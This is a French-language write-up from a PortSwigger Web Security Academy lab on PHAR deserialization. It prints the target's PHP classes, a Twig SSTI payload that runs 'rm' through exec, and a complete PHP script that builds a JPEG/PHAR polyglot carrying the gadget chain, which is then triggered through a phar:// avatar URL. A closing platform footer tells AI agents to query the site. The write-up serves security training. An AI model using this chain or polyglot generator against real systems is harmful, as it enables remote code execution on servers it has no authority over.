> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/phar-deserialization-with-custom-chain.md).

# Désérialisation PHAR avec chaîne personnalisée

Notes sur la désérialisation PHAR avec chaîne personnalisée pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Utiliser la désérialisation PHAR pour déployer une chaîne de gadgets personnalisée

Ce laboratoire ne fait pas **pas** de désérialisation classique explicite. L'idée est de **provoquer** la désérialisation en exploitant le comportement de PHP avec l'enveloppe **`phar://`**, afin d'atteindre un **RCE** via une **chaîne de gadgets personnalisée**, puis supprimer :

* `/home/carlos/morale.txt`

Identifiant fourni :

* `wiener:peter`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Marquage côté application

#### Téléversement d'avatar

Après authentification, vous pouvez **téléverser un fichier** via une requête POST sur la fonctionnalité d'avatar.1) Marquage côté application

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

Lorsque vous cliquez sur l'image de profil, déclenchez le chargement via :

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Fichiers lisibles dans `/cgi-bin/`

Lors de la visite de `/cgi-bin/`, plusieurs fichiers sont **lisibles** (utile pour récupérer le code et construire la chaîne).

| Nom                   | Taille |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Code source récupéré

#### `blog.php`

Il existe un `Blog` classe qui initialise Twig dans `__wakeup()`:

* `__sleep()` sérialise `jeton utilisateur` et `desc`
* `__wakeup()` construit un `Twig_Environment` avec un modèle basé sur `desc`
* `__toString()` rend `index` et injecte `jeton utilisateur`

Point important : `desc` devient directement un **modèle Twig**, donc il peut être utilisé pour cibler **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

Le `CustomTemplate` la classe contient :

* un `$template_file_path` champ
* un `__destruct()` destructeur qui effectue :
* `@unlink($this->lockFilePath());`

`lockFilePath()` construit :

* `'templates/' . $this->template_file_path . '.lock'`

Donc, si nous contrôlons `template_file_path` avec un objet qui se convertit en chaîne, nous pouvons influencer le chemin utilisé par `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Impossible d'écrire dans " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Impossible d'écrire dans " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos pensait que ce serait une bonne idée
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Charge utile Twig (SSTI → Exec)

Charge utile Twig utilisée :

Objectif : exécuter `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Stratégie d'exploitation : PHAR polyglotte

Le défi : le téléversement attend un **image**. / Solution : Créez un **polyglotte** fichier :

* Valide en tant que **JPEG**
* mais contenant un **PHAR** (format tar/phar) avec **métadonnées** sérialisé

Pourquoi cela fonctionne-t-il ?

* Lorsque PHP ouvre une ressource via `phar://...`, cela peut déclencher la lecture du manifeste PHAR et **désérialiser certaines métadonnées** (ainsi exécuter `__wakeup`, `__destruct`, etc., selon la chaîne).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // supprimer <?php ne fonctionne pas avec le préfixe
    $len = strlen($phar) + 2; // corrigé
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calculer la somme de contrôle tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // intégrer la somme de contrôle
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// classe d'exploitation pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// configuration pour jpg
$tempname = 'temp.tar.phar'; // le rendre tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// créer le jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// configuration pour gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // en-tête gif, taille 300 x 300
$tempname = 'temp.phar'; // le rendre phar
$outfile = 'out.gif';

// créer le gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Chaîne de gadgets construite

Vous fabriquez :

* un `Blog` objet avec :
* `user = "pwned"`
* `desc = <charge utile Twig SSTI>`
* puis vous mettez cet objet dans `CustomTemplate->template_file_path`

Ainsi, lorsque `CustomTemplate` est détruit, `lockFilePath()` concaténera une valeur issue d'un objet, ce qui force une conversion en chaîne → appelle `Blog::__toString()` → déclenche `twig->render()` → interpréter `desc` → exécute la commande.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}";}}"
```

{% endcode %}

* Téléverser `out.jpg` comme avatar

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Appel de ressource via `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

À ce moment-là, l'application ouvre la ressource avec l'enveloppe PHAR, les métadonnées sont désérialisées, la chaîne se déclenche, et le fichier :

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
